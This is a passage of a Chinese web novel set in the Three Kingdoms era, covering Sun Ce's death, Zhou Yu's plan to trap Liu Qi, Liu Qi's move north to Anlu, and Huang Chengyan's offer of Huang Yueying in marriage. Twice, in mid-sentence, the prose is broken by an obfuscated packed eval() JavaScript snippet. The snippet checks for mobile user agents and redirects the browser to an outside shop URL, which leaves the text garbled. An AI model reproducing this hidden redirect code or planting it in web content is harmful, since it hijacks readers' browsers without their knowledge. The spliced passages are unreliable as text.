孙策攥住孙权的手腕,力道竟比先前沉了几分,“你要记着,这江东不是我一个人的,是父兄和诸将流血换来的,千万莫负了这份基业!” 孙权再也忍不住,伏在榻前痛哭:“兄长放心,小弟定当拼尽性命,守好江东!” 说罢,孙权只感觉双手中那方印绶,印身冰凉,却似有千钧重。 江东继承之事落定, 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“宗族里敢有生异心者,你们众兄弟共诛之,若是骨肉为逆,死后不得入孙家祖坟!” 孙翊先前的欣喜早已被悲痛取代,此刻含泪叩首:“兄长放心,弟必遵令!” 孙策见嘱托完母亲与弟弟们,目光缓缓转向立在踏侧的周瑜。 周瑜脸庞上沾着未干的泪痕,却仍挺直着脊背,像当年两人初遇时那般,始终是最可靠的模样。 孙策忽然笑了笑,声音虽微弱,却带着旧日的爽朗:“公瑾,你过来。” 周瑜快步上前,单膝跪地,眼眶通红:“伯符,我在。” “世人都说我‘小霸王’能战,可论排兵布阵、调度全军,你比我更周全。” 孙策攥着周瑜的手掌,指腹摩挲着周瑜虎口处的老茧。 那是周瑜常年握剑、推演兵阵磨出来的,“江东六郡,一半是你陪着我打出来的。” “今日我当着仲谋与诸将的面,给你个官职——任你为中护军!” 孙策顿了顿,特意看向屋内众人,把话说得明明白白:“这中护军,掌江东中军禁军,管武官选拔任用,战时还能监督诸将、参赞军机。” 这话一出,屋内诸将都愣了愣。 按孙策的意思,这中护军是江东军中实打实的第二人,上能佐主君统军,下能辖制诸将,孙策这是把军权的半条命,都交到了周瑜手上。 孙策说完,又转头看向孙权,眼底带着几分打趣,也藏着一丝郑重:“仲谋,为兄这将死之人,还没问过你,就给你认命了中护军,你不会怨恨我越权吧?” 孙权忙捧着印绶上前,躬身到底,语气恭敬又恳切:“兄长说的哪里话!” “公瑾之才,本就该担此重任,有他帮我掌军,小弟才敢说能守好江东,兄长任命,小弟求之不得,怎会怪兄长?” 孙权心里清楚,兄长这哪里是“越权”,是怕他年轻镇不住军中老将,特意给了周瑜实权,帮他稳住军权根基。 周瑜听得这话,猛地叩首在地,额头抵着冰凉的地面,声音哽咽却坚定: “伯符放心,周瑜此生,定以中护军之职,辅佐新主,守好江东每一寸土地,若有二心,天诛地灭!” 孙策满意地点点头,松开周瑜的手,又指了指孙权与周瑜,对屋内众人道:“往后仲谋主内,公瑾主外,你们要像信我一样信他们,莫要生分。” 张昭、程普等人齐齐躬身:“臣等遵令!” 交代完这最关键的一桩事,孙策彻底松了劲,靠在软枕上,目光扫过屋内一张张熟悉的脸。 有跟着父亲的旧部,有他一手提拔的新锐,有最亲的兄弟,有最信的知己。 孙策嘴角牵起一丝释然的笑,声音轻得像一阵风:“都好……这样,我便放心了……” 话音未落,孙策搭在榻沿的手猛地一垂,双眼缓缓闭上,再无气息。 屋内瞬间死寂,只有屋外江水拍岸的声音,一下下撞在人心上。 周瑜最先反应过来,扑到榻前,颤抖着探向孙策的鼻息,指尖触及的只有一片冰凉。 下一瞬,周瑜猛地抱住孙策的手臂,泪水决堤,嘶哑地喊出一声:“伯符!” (本章完) 第35章 周瑜蔑视:刘琦?靠诸葛的废物! 孙策溘然长逝,屋内悲声顿时一片。 孙权强忍泪水,深知从此需独力肩负江东重担。 张昭当即建议秘不发丧,全军撤回江东,以避对岸刘琦锋芒,稳定根基。 然而,周瑜悲声未止便厉声反对:“不可!江夏乃荆州门户,为夺取此地,多少将士血染于此,伯符亦捐躯斯地,岂能轻弃?” 周瑜力陈己方兵力不逊刘琦,夏口地势险要易守难攻,此时撤退无异于将战略要地拱手让人,更会挫伤军心士气。 周瑜坚信,唯有坚守并挫败敌军,方能告慰孙策,稳固新**威。 孙权被周瑜的决绝感染,攥紧印绶,眼中露出与父兄一脉相承的狠劲:“夏口必守!我当与公瑾并肩,让刘琦见识孙家新主之威!” 孙权随即庄重地将调兵兵符与孙策生前佩剑一同授予周瑜,委以全军指挥之权,坦言:“我信公瑾,如信兄长。” 周瑜单膝跪地,双手接过兵符佩剑,感激于这份超越君臣的信任,慨然立誓:“臣必竭股肱之力,效忠贞之节,继之以死!三日内,必令夏口固若金汤!” 紧接着,孙权命三弟孙翊与重臣张昭护送孙策灵柩秘密返回吴郡安葬。 孙翊对此安排深感愤懑,认为是被排挤出权力核心,却迫于兄长的遗命和孙权的威势,只能愤恨应承。 张昭则瞬间领会孙权深意,此行不仅为处理后事,更需坐镇后方保障补给,并监视可能不甘的孙翊,确保内部安稳。 孙权借此一举,初步完成了权力交接与内部布局。 就在孙权借张昭之手,于后方稳固权位、铺就战略基石的同时,前线的夏口水寨中,一场针对刘琦的致命杀局,也已悄然布置停当。 江东水寨,中军大帐。 周瑜一身缟素,面沉如水,但双目中的锐利,却未被悲伤淹没,反而愈加炽盛。 周瑜指着悬挂的江夏舆图,声音清冷的向孙权及众将阐述了他的方略。 “主公,诸位。固守夏口,锁住大江,乃是我军眼下首要之事。” “当然,固守,却非枯坐待毙,等刘琦小儿来攻。” 周瑜的手指重重地点在夏口的位置,随即猛地向北划过长江,落在江北诸县。 “瑜所要的,非止守住夏口,更要那刘琦小儿的性命,以慰伯符在天之灵!” 帐中众将皆屏息凝神,静候周瑜妙计。 这时周瑜仿佛想起什么般,嘴角勾起一丝轻蔑:“刘琦?纨绔子弟尔,侥幸成名之辈!” “津乡之战,若非庞统、诸葛亮等人在旁出谋划策,若非伯符……大意轻敌,就凭他,也配与我江东雄师争锋?此战,其胜在侥幸,其能在他人,非他刘琦真有经天纬地之才。” 周瑜言语中的不屑,仿佛将刘琦视若无物,但其言却极大地提振了因孙策之败而有些低落的士气。 “如今,刘琦仗着刘表一纸任命,便真以为这江夏是他的囊中之物了?可笑!” 周瑜的手指在江北的西阳、西陵、安陆等地划过,“江夏精华,尽在江北。” “黄祖在江夏经营多年,其旧部、宗族盘根错节,岂会甘心听命于一个空降而来、夺其权柄的稚子?” “刘琦如今仅握江南一沙羡,名不正言不顺,他欲坐实太守之位,必图江北!” 这便是周瑜整个谋划的起点——他洞悉了刘琦内在的**需求与津乡一战胜后必定会心生傲意,特别是如今孙策身亡,更加会轻视江东。 周瑜知道,虽然全军已经**,知晓孙策已故的将校皆已经被下令不可外传。 但这些举措,只能瞒一时,不能瞒一世。 “故,我军当示敌以弱!”周瑜断然下令。 “传令,水师各寨,收缩防线,集于夏口附近,摆出全力固守,不敢出战的姿态。让出上游沙羡一带的江面控制权。” 此令一出,众将皆露疑惑,刚才还说枯坐待毙,怎么却摆出一副枯坐待毙的样子。 周瑜解释道:“刘琦新胜,骄心已生。” “又见我闻伯符之死而龟缩,必以为我江东胆寒,无暇顾他。” “如此一来,刘琦定会认为此乃天赐良机,必会自沙羡渡江,前往江北接收诸县,巩固权位。而我,便让他过!” “而刘琦年轻气盛,又携新胜之威,岂能容忍江北诸县的阴奉阳违、推诿搪塞?” “届时,冲突必起!他必会以强硬手段弹压,试图立威。” “如此一来,刘琦非但无法顺利接收江北,反而会深陷于地方豪强的抵触泥潭之中,令本就可疑的立足之地,变得更加动荡不安!” 周瑜说着手指从沙羡划向江北,再猛地一切,断在了长江水道之上。 “待其主力北上,与江北黄祖旧部纠缠不清、难以立足之时,便是我水师雷霆出击之日!我要一举击溃其驻守沙羡的荆州水师,彻底锁断大江!” 周瑜的眼中寒光闪过,仿佛已看到刘琦那因退路被自己截断后惊慌失措的场景。 “届时,刘琦大军粮草皆仰赖江陵,经由沙羡转运。” “水路一断,他便如瓮中之鳖,前有江北豪强掣肘,后有云梦大泽与我的无敌水师隔绝。进不能取城,退无法归营,军心必乱,粮草必绝!” 周瑜攥紧拳头,声音狠辣:“他刘琦如何以奇兵横渡云梦泽袭伯符后路,我周瑜便如何以水师截断他的归途!此乃以彼之道,还施彼身!” “届时,刘琦必将陷入进退维谷、军心涣散的绝境,而我们则可以可趁其混乱,或渡江追击,或稳固封锁,坐等刘琦粮尽援绝,最终要么溃败被擒,要么狼狈沿汉水逃回襄阳,彻底失去争夺江夏的资本。” 最后,周瑜点出了此计最诛心之处。 “刘琦在荆州本就不受待见,此战若惨败,损兵折将,丢失江夏。” “一个损兵折将、丢失江夏的败军之子,他将永无翻身之日!伯符,你在天看着,瑜必以此计,让那刘琦血债血偿,让他也尝尝后路被断、基业成空的滋味!” 周瑜一番话毕,帐内将校瞬间将因孙策身故的阴霾一扫而空,战意昂扬。 周瑜此计,环环相扣,将敌我形势、地理人心皆算于掌中,非绝顶智者不能为。 夏口城内孙权、周瑜忙着交割军权算计刘琦、秘送灵柩时,在长江上游沙羡城内的刘琦对此毫不知情 刘琦只知道斥候回报说周瑜正带着江东军加固城防,连江面都添了不少战船,只当是江东要凭夏口死守,特意增兵布防。 反观沙羡,因早前周瑜驻军时留下不少残破痕迹,民心稍显浮动。 刘琦不敢怠慢,一面让人贴出告示,承诺免除沙羡百姓半年赋税,又派医官带着药材巡街,安抚受惊民众。 一面把重心放在粮道上,刘琦让庞统带着水师,沿长江从江陵到沙羡一线,每隔三十里设个小据点在内布置一伍(五人),既用来巡逻护粮,也是为粮船中途接应,又急遣人去江陵给徐庶,言明沙羡缺粮的窘境。 如此不过五日,江陵的粮船就顺着长江驶来,不是一艘两艘,而是首尾相接的船队,载着粮草源源不断驶入沙羡码头。 城内的百姓起初还提着心,他们早就周瑜撤出沙羡时就搬空存粮,他们以为刘琦“给粮”的话只是安抚,毕竟乱世里,上位者哪会真管百姓死活? 可看着粮袋一袋袋卸下来,分发粮米的兵士挨家挨户送上门,满城悬着的心才算落了地。 城内的士族豪强们听着仆役打探回来城内的情况,也暗自点头:刘琦这是真要稳住沙羡,既有粮道护着,又肯给百姓实惠,这江夏郡治,算是真落到他手里了。 只是没人知晓,江对面的夏口城内的江东军早已换了新主,一场未料的对峙,正悄悄逼近。 是日。 刘琦不仅迅速整顿城防,接管府库,以及大量收容、整编黄祖败退后流散在江南各处的溃兵。 校场之上,数千原属黄祖的兵卒正在接受整训。 他们本已惶惶如丧家之犬,如今得蒙收留,不仅性命得保,更被一视同仁地编入军中,发放粮饷,心中感激之余,也对这位新任的年轻太守生出了几分效忠之心。 沙羡城在刘琦接手后,已迅速从遭遇战的混乱中恢复过来,显露出新的气象。 城外大营垒加固,哨卡森严,江面上亦有战船游弋,俨然成了一处稳固的前沿基地。 城内衙署,自然而然的就成为了刘琦的居住已经办公场所。 衙署 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591499|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内案上摊着粮道文书与沿江据点图,刘琦捏着刚到的粮报,笑道:“江陵粮船又到十船,沙羡百姓总算踏实了。” 诸葛亮羽扇轻晃:“据点巡防稳妥,周瑜那边没动静。” 庞统搭话:“再等几日,便可派一偏军探一探夏口虚实。” 三人言笑间,尽是稳占沙羡的从容。 这时三人笑谈一会后,刘琦走到那张略显粗糙的江夏舆图前,目光越过代表沙羡的标记,投向了浩渺大江的北岸。 “士元,孔明,” 刘琦手指点向江北,“沙羡虽暂稳,然地处江南,偏于一隅,且周遭多沼泽,难以长期支撑大军,更难以辐射整个江夏。 “我军若要真正立足,而非仅做一隅之守,必须北渡。” 诸葛亮轻摇羽扇,接话道:“公子明见。” “沙羡已稳,但江北诸县才是关键,黄祖战死、夏口易守,那些地方看着平静,实则像锅将沸的水。” “而黄祖旧部没了首领,是投咱们、投江东,还是另寻出路,此刻正是摇摆的时候。” 庞统接话,指节敲了敲舆图上江夏北岸:“江夏之富饶、人口之精华,十之七八尽在江北。” “得了江北,才算真握了江夏。” “眼下周瑜据夏口死守,咱们与其硬拼,不如先整合江北力量——只是,江北世家林立,关系盘根错节,尤其是安陆黄家……。” 提到黄家,刘琦目光微凝。 黄祖虽死,但其家族在江夏经营数代,势力根深蒂固,是无论谁来当江夏太守都绕不过去的一个家族。 念此,刘琦问道:“黄祖之子黄射,如今何在?我闻其并未死于此前乱军之中。” 来到沙羡这几日,诸葛亮显然已做过功课,从容答道:“主公所闻不差,黄射此人,不善于军争,但颇具能力,是以先前已被其父任命为江夏北部的平春县长吏(平春令)。” “正因如此,那日前线溃败、黄祖身死之时,他远在平春处置政务,恰好避开了那场祸事,得以保全。” “平春……” 刘琦的手指在舆图上找到这个位于江北、靠近豫州边境的县城,“这倒是个意外之喜,黄射未死,其父死于江东之手,有如此血海深仇在身,到时让其替自己招抚黄祖旧部,到可事半功倍。” “只怕这黄策,未必易驯。” 庞统摩挲着下巴,语气带了几分考量,“父丧之痛,他或恨江东,亦可能怨刘荆州,怨其未发援军,致黄祖殒命。” 刘琦闻言,手指重重的点在舆图安陆的位置,语气透着股霸气:“黄祖身为江夏太守,我父予其数万甲士、荆州东门之权,终落此局,怨不得旁人。” “他黄射若识时务,随我共抗江东,黄家富贵可保,若执迷不悟,仍怀怨怼,我亦不介意替江夏清此门户。” “主公不可!”诸葛亮和庞统齐声劝阻。 诸葛亮有些急道:““黄家乃江北世家之首,黄射现为族长,动他必致诸家惶惶,收揽人心之策恐毁于一旦!” “我知收心需柔,但却也需刚柔并济。” 刘琦打断二人,目光锐利如刃,“一味怀柔,反让人觉我可欺,黄射若真怀怨,正好杀鸡儆猴——让江北诸家看清,顺我者昌,逆我者亡。” “唯有霹雳手段,方显菩萨心肠!” 而与此同时,上游的江陵城。 江陵城作为南郡核心,此刻比往日更添几分繁忙与生机。 自刘琦将此城纳入掌控后,此地便成了他势力延伸的重要支点。 这一日,数辆马车在精骑护卫下悄然入城,马车内的正是刘琦的家眷及其依附之人。 侍女翠儿率先跳下马车,好奇地打量着这座即将安身的新城。 随后,那对容颜姣好的双胞胎胡姬也袅袅下车,她们的出现,为这尚带着兵戈之气的城池增添了一抹柔和的亮色。 最后被小心扶下车的,是邓艾与其母亲。 这对母子因刘琦的赏识而改变了命运,得以离开故土,迁来这更为安稳的江陵。 邓艾看着高大的城墙,眼中闪烁着与年龄不符的思索光芒,结结巴巴地低声对母亲说:“娘…娘亲,此城…雄壮,将来…将来…” (本章完) 第36章黄承彦断喝:硬抗刘琦?找死! “唯有霹雳手段,方显菩萨心肠!” 刘琦这话出口,诸葛亮羽扇微顿,眸中掠过一丝微讶。 “唯有霹雳手段,方显菩萨心肠!”的说法虽未听过,但二人皆饱读经史,转瞬便悟,无非是恩威并施的路子。 只是诸葛亮心底暗忖:主公身任江夏太守,掌中持朝廷颁授的符印与诏令,麾下更有万余甲士,这朝廷的威严,本就可以压服江北世家。 “而黄祖旧部也好,安陆黄家也罢,哪一家敢真违逆官府? “且方才主公说要“清门户”,未免过犹不及本就有朝廷名器与兵马打底,何须刻意动刚猛?稍示柔怀,便足以让诸家俯首。 一旁的庞统收了摩挲下巴的手,指尖在案几上轻叩两下,神色里多了几分世家子弟特有的通透。 庞统出身荆州庞家,打小见惯了世家豪强的做派,太清楚那些人的心路。 当即汉室虽在,可天下分崩之态已显,恐怕江北诸家早把各自地盘当私产,自视“土皇帝”,朝廷名义顶多唬住表面顺从,真要让他们俯首帖耳,光靠符印诏令不够。 是以,庞统抬眼瞥了眼诸葛亮:“孔明兄说主公握几万甲士便够了,可‘有’甲士与‘敢用’甲士,可就是两回事。” 庞统这话让诸葛亮羽扇一顿。 庞统指尖点了点案上舆图里“安陆黄家”的标记,继续道:“当年曹操在兖州,何尝没有兵马?” “可边让当众辱他,他起初忍了,兖州世家便觉得他‘不敢动’,后来他忍无可忍杀了边让,却又杀得太滥,才逼反了全兖州,这不是‘动刚猛’的错,是‘没捏准尺度’的错。” “眼下江北世家,就像当年没被震慑的兖州豪强。” “主公若只摆着太守名头,亮着兵马却不敢动,他们便会想:主公不过是借朝廷名头,真敢动我们这些根基深的?” “黄射若真不愿配合主公,主公不‘清门户’,明日就有十个‘黄射’冒出来,到时候再想动用甲士强压,就得付出比杀一个黄射多十倍的代价。” 庞统这话里揣着世家子弟对人心的通透,更裹着他善于军争的杀伐气。 看问题从不含糊,直戳乱世里最实在的关节:“孔明兄重稳,可乱世的稳,从不是‘不动刀兵’换来的。” “主公那‘霹雳手段’,不是过犹不及,是得让那些‘土皇帝’看清,主公的兵马,不是摆着看的,真敢违逆,主公就敢斩!” 诸葛亮羽扇停在半空,眸中先掠过一丝怔然,随即沉进思索里。 庞统这话戳中了诸葛亮没绕过来的弯:世家或许会怕当权者有兵马,但也并非所有人皆会怕,终有胆大之辈为了自身利益铤而走险! 诸葛亮羽扇一落,抬手朝庞统拱了拱,语气坦然得不见半分滞涩:“士元这话点醒我了,我虽知乱世需威,却总想着以朝廷名器压下风波,倒忘了这些世家久居一方,早把敢不敢用刀看得比有没有刀重。” 但诸葛亮话锋稍顿,看向刘琦,眸中仍存着几分审慎:“但主公,即便要立威,也需慎行。” “刀兵一动便无回头路,若杀了黄射,万一激起其他世家抱团疑惧,反倒给了江东可乘之机,不如先多许些实在好处,比如保他们田宅不失、给族中子弟谋个官府差事,以利益拉拢,终究比动刀稳妥。” 刘琦指尖在案上轻点。 刘琦来自后世,自然知晓“军事是**的延伸”这话,能靠利益绑定,权责安抚的事,自然不会轻易动兵。 刘琦抬眼扫过二人,语气笃定又克制:“孔明这话在理,我提‘霹雳手段’,从不是要无端动刀,能靠保田宅、授官职绑住江北世家,我自是不必刀口向内!” 诸葛亮与庞统默然颔首。 刘琦沉吟片刻,指尖在地图上划出道弧线:“沙羡留偏师驻守,守粮道、通江陵即可,我军主力,当北移安陆。” 说着刘琦指尖重重落在“安陆”二字上,声线铿锵: “此地乃江北心腹,水陆要冲,更是黄家根基所在。” “我当于此会盟江北诸家,以安陆为核心,整合所有力量,届时对夏口,便有俯冲之势!” 言罢,刘琦看向二人:“二位先生以为如何?” 诸葛亮先颔首,羽扇轻晃:“安陆居汉水上游,顺流而下可直逼夏口,地势上占尽先机,确是最佳之选。” 庞统亦应道:“某这便协调军务,清点粮草、整饬兵马,确保主力北移无虞。” “好!” 刘琦抚掌而笑,声震衙署,“便依此计!传我令,以江夏太守之名,广发请柬,邀江北世家、黄祖旧部,三日后齐聚安陆,共商保境安民大计!沙羡为后援,安陆作核心,咱们先定江北,再困夏口!” 计谋既定,随着刘琦一声令下,整个沙羡内外的数万兵马瞬时被调动起来了。 是日。 一切准备就绪后。 沙羡外号角骤起穿透晨雾,万余甲士披甲执刃的铿锵声此起彼伏,将官们领命奔走,或清点粮草,或整束兵器,不过两个时辰,北上安陆的队伍已列成严整阵形 刘琦立于高台上,只一眼,便见麾下兵马如臂使指,这便是刘琦两三月里,云梦泽涉险,硬撼孙策不退,浴血破敌才攒下这权势,亦是刘琦争霸天下的本钱。 沙羡虽非北上核心,但却是粮道咽喉,刘琦主力赴安陆后,粮草全靠此处转运,断不可失。 且刘琦日若攻夏口,沙羡守军还能从侧翼出兵,与安陆主力形成夹击之势。 是以刘琦令襄阳营陈应领五千偏师驻守沙羡,然后再转头对江夏主簿**珍道:“此去安陆我带主力,沙羡政务,粮草督运便交给你了,城防有陈应的五千偏师,你二人一文一武,正好守好这粮道咽喉。” 话落,刘琦话锋一转:“你麾下三千部曲,留一千护城便够,余下两千便随我北上安陆。” 刘琦此举藏着考量,世家部曲久属私门,易攒出小团体隔阂,收归两千部曲归己用,既消弭隐患,也让全军号令统一,无分“私兵”“公兵”。**珍心中自然是明了,坦然领命。 很快刘琦率军北上的队伍,如一条黑色长龙碾过江夏腹地。 马蹄踏碎晨露,甲叶碰撞的脆响在旷野里传得远,沿途斥候快马四散,将“江夏太守邀聚安陆”的消息递向江北每一处有头脸的势力手中。 这动静像一滴重墨滴进清水,波澜以安陆为中心,一圈圈荡向西陵、平春、西阳各处,三四日过去,整个江夏的局势都跟着活了起来,原本沉寂观望的各方势力,终于藏不住各自的心思。 西陵城内,江夏都尉苏飞攥着那张在自己麾下各将校手中辗转一圈的请柬,而帐内烛火已燃到了第三根。 自黄祖战死,苏飞带着两千残部退守西陵,靠着城防勉强稳住阵脚。 这些日子江东军占了夏口却没来犯,帐下将校们早已懈怠,此刻见苏飞眉头紧锁,当即有人上前,声音里满是急虑: “将军!吾等残兵败将,守西陵已属吃力,何能再赴安陆之会?” “且吾等在夏口后方,离安陆路远,一旦挪窝,必为江东所盯!” “先前孙策未攻吾等,不正因吾等藏得深——不扰其粮道,不沾任何边,方成其眼中‘无关紧要之人’。” “如今若往安陆会盟,便是自显于众,孙策兵马就在夏口,吾等两千人,岂够其塞牙缝?为一会盟而蹈险,值当么?” 苏飞指尖把玩着请柬,未为所动,轻笑一声:“尔等只见表象!孙策不攻,非因吾等本分,而是其眼下紧盯江陵,未将吾等残兵放在眼中。” 苏飞顿了顿,声音沉了几分,“然刘琦不同。彼乃新任江夏太守,欲整合江北,吾等身为黄祖旧部,若不赴会,是何立场?” “先前坐视江东粮道不管,已似墙头之草,今刘琦主动相邀,再躲,便是坐实无心归附。” “莫非……尔等欲投江东?” 面对苏飞的质问,帐内将校顿时炸了锅,个个涨红了脸义愤填膺: “将军说的什么话!黄将军被孙策所杀,此仇不共戴天,咱们怎会投敌?” “只是咱们就两千残兵,真要动起来,哪扛得住江东的兵锋?” 就算有个别心思活络的想投效江东的,此刻也不敢吱声,黄祖的仇刻在多数人心里,若此时敢提投江东,怕不是要被当场按在帐内斩首。 苏飞看着他们激动的模样,反倒松了语气,缓缓道:“有没有实力是一回事,表不表态是另一回事。” “刘琦能在津乡破孙策,定是懂兵的人,他怎会让咱们丢了西陵、带着全部人马去安陆?” 说着苏飞指尖点了点帐内简易舆图上的“西陵”:“这里卡在江东军后面,日后若有需要便是牵制夏口的关键,刘琦比咱们更清楚这位置的重要性。” “咱们要做的,不是倾巢而出,而是先派个使者去安陆表个态,让刘琦知道,咱们心向江夏,没打算做局外人。” 帐内将校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591500|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了愣,随即齐齐松了口气。 原来不是要丢了西陵去冒险,只是派个人传句话? 先前紧绷的神色瞬间缓和,有人当即接话:“早说啊将军!只是派使者表态,这有何难?咱们这就挑两个脚快嘴稳的,绕开江东哨卡去安陆便是了!” 与此同时,安陆黄家府邸内,气氛却凝重如铁。 黄射一身素白麻衣,额系孝带,正在为父亲黄祖服丧。 三日前黄射就从平春回来了,同时也带回一千多县兵接管安陆城防。 今日一早刘琦的请柬便送到了黄射手上。 看完,黄射猛地攥着刘琦的请柬,指节因用力而发白,眼中尽是丧父之痛与权力被夺的愤懑不甘。 “共商保境?哼!” 黄射将请柬重重拍在案上,“那刘琦,不过是仗着其父刘表之势,一纸调令便夺了我黄家经营十余年的江夏!” “如今我父尸骨未寒,他倒要来此以太守之名宴请四方,世上岂有这等道理?” 而厅内几位黄家族老亦是面色难看。 黄祖执掌江夏多年,黄家上下早已视此地为私产,如今朝廷威严早已扫地,大汉各地无不遵循“父死子继”的规矩。 而刘表却派个儿子来摘桃子,他们如何能服? “少族长,刘琦大军不日即至,城外还有王朗的数千郡兵虎视。” “若硬抗,只怕……”一老成族老忧心忡忡。 厅内几位族老意见不一,或主张暂避锋芒,或主张据理力争,争论声让黄射心烦意乱。 “够了!” 黄射猛地站起,因父仇而赤红的眼中满是执拗。 “他刘琦是带着兵马来**的!我若就此服软,天下人岂不笑我黄射无能,笑我黄家可欺?” “父亲留下的旧部,又会如何看我?这安陆城,绝不能让他轻易进来!” 黄射此时心中已被仇恨与权力被夺的**填满,厉声道:“传令下去,紧闭城门!他刘琦若敢强来,我便让他见识见识,江夏究竟是谁家天下!” “胡闹!”一个清矍的声音自门外传来。 黄承彦缓步走入厅内,目光沉静地看着情绪激动的侄子。 “射儿,莫要被仇恨蒙蔽双眼了!” “叔父?我……”黄射眉头紧皱。 “我问你,”黄承彦打断黄射。 “我黄家如今还有什么?你父亲战死,嫡系部曲星散,就凭这一千借来的县兵,你去挡刘琦的万余虎狼之师?还是去碰王朗城外的四千郡兵?硬抗只有死路一条,让旁人捡了便宜!” 黄射面色涨红,争辩道:“可我不争,难道就任由他夺了本应属于我的位置?” “别人会当我黄家是软柿子!父亲经营十余年的江夏,就这样被一纸调令拿走,恐怕日后阿猫阿狗都敢来踩我黄家一脚!” “糊涂!”黄承彦历声呵斥道。 黄承彦继续道:“刘琦此来,所谓‘共商保境’不过是借口。” “其真正目的,乃是借太守名分,拉拢整合江夏各方势力,尤其是你父亲的旧部,以稳固其权位。” “他需要的是一个安稳的江北,而非一个拼得鱼死网破、让江东坐收渔利的烂摊子。” “那我黄家就该任人宰割?”黄射不甘道。 “非是任人宰割,而是审时度势,寻一条生路,乃至复兴之路。” 黄承彦眼中闪过睿智的光芒。 “刘琦初来乍到,根基全无,他虽有名分兵马,却无我黄家在此地盘踞十余年所积累的声望、人脉与故吏网络。” “刘琦需要我黄家在此地的声望和人脉来快速稳定局势,而我黄家亦可借他的权势,保住家族地位,甚至更进一步。” “合则两利,分则两害!” “更进一步?”黄射一怔。 “不错。你可还记得襄阳蔡家?”黄承彦提点道。 “昔日蔡、蒯两氏,便是因率先投靠景升公(刘表),助其稳定荆州,方有今日之显赫。” “此乃**投资!我黄家若能效仿,率先归附刘琦,助他整合江北,便是雪中送炭。” “届时,我黄家不仅可保无恙,更能借此东风,重振声威。” 黄射闻言,神色松动了几分,但仍有疑虑:“即便要投靠,也需‘投名状’吧?” “毕竟空口白话,如何取信于刘琦?况且,若姿态过低,恐被其看轻,日后也难以抬头。” “此事我已有计较。”黄承彦捋须,眼中精光一闪,“联姻。” (本章完) 第37章孔明淡定:主公娶她,血赚! “联姻?”黄射愕然。 “正是。老夫有一女,名月英,年已十九,待字闺中。”黄承彦缓缓道,“可许与刘琦为妻。” 闻言黄射与几位族老面面相觑。 黄承彦之女,他们都见过,因发色偏黄,面容不似中土女子,故而被乡邻传为“丑陋”,因此迟迟未能出嫁。 “叔父,月英妹妹的容貌……世人多有非议。” 黄射斟酌着语句,“若将月英妹妹嫁与刘琦,会不会非但不能结好,反而触怒于他?” 黄承彦却淡然一笑:“凡成大事者,岂会囿于皮相之色?” “况且娶妻娶贤,我女月英之才,远胜寻常男子,刘琦若真是志在天下之人,看重的便该是娶了黄家女,便能瞬间继承我黄家在江夏十余年经营的全部人脉与根基!” “这如同为他提供了一个现成的权势插口,能让他这‘外来者’立刻融入江夏,省去数年经营之苦!此等好处,岂是区区美色可比?” “至于月英容貌,若他介意,日后广纳美妾便是。” 黄射听完,低头沉思良久。 叔父的话如同冷水浇头,让黄射从仇恨与固执中渐渐清醒。 但黄射不得不承认,叔父的眼光远比自己长远。 硬抗,唯有死路一条;而联姻投靠,看似**,却可能为家族搏出一个未来。 “……叔父所言,确有道理。” 黄射长叹一声,语气中带着认命与一丝新的期盼,“那此事,便全凭叔父做主了。” 黄承彦点了点头:“我这就修书一封,遣心腹密送刘琦军中,**我黄家归附之意,并提及联姻之议。” “射儿,你需做好准备,一旦刘琦回应,我黄家当率先出迎,以示诚意。” 暮色渐沉,安陆城外商道之上,马蹄声碎。 那名家生子揣着黄承彦的亲笔密信,一路不敢停歇,抄小道直奔刘琦军方向而去。 此时,刘琦率领的万余兵马主力已抵达安陆城外五十里处扎营。 营寨井然,灯火通明,往来巡弋的斥候与岗哨透着一股肃杀之气。 中军大帐内,刘琦正与诸葛亮、庞统商议次日抵达安陆后的具体安排,忽闻帐外亲兵来报:“主公,营外有一人,自称黄承彦先生家奴,有密信务必亲呈主公。” 帐内三人闻言,交换了一个眼神。 刘琦抬眸,心知安陆黄家已有决断,当即道:“引他进来。” 不多时,那风尘仆仆的家生子被带入帐中,恭敬地呈上书信。 刘琦展信一看,前面是黄家愿举族归顺的诚恳之言,末尾则清晰地提出了联姻之请:“小女月英,年已十九,贤淑有才,若蒙不弃,愿奉巾栉,以固盟好,永结秦晋之谊。” 当刘琦看到“小女月英”四个字时,神情不由得一滞,心中顿时掀起波澜。 “黄月英?!”刘琦差点脱口而出。 作为后世来人,刘琦岂能不知,此女本该是……刘琦下意识地目光一偏,落在了身旁那位羽扇纶巾、风度翩翩的诸葛亮身上。 一股极其怪诞、荒谬的感觉涌上刘琦心头。 历史的轨迹,竟在此刻又被刘琦以一种他从未预料的方式发生了偏转。 未来的卧龙夫人,此刻竟被其父作为**筹码,要许配给他刘琦? 刘琦的目光在诸葛亮头上短暂停留,一个极其不合时宜、充满恶趣味的念头冒了出来:孔明啊孔明,你可知你头顶之上,此刻仿佛闪过一抹若有若无的……嗯,原谅色? 刘琦这念头一闪而过后迅速收敛心神,将信笺递给诸葛亮与庞统,脸上恢复淡然,只是嘴角噙着一丝难以察觉的古怪笑意:“黄承彦……倒是献上了一份出乎意料的‘厚礼’。” 诸葛亮览信,看到联姻之议时,羽扇亦是微不可察地顿了一下。 诸葛亮虽未如刘琦般知晓“原本”的未来,但黄月英之名,他确从庞德公等长辈处偶有听闻,知其才名。 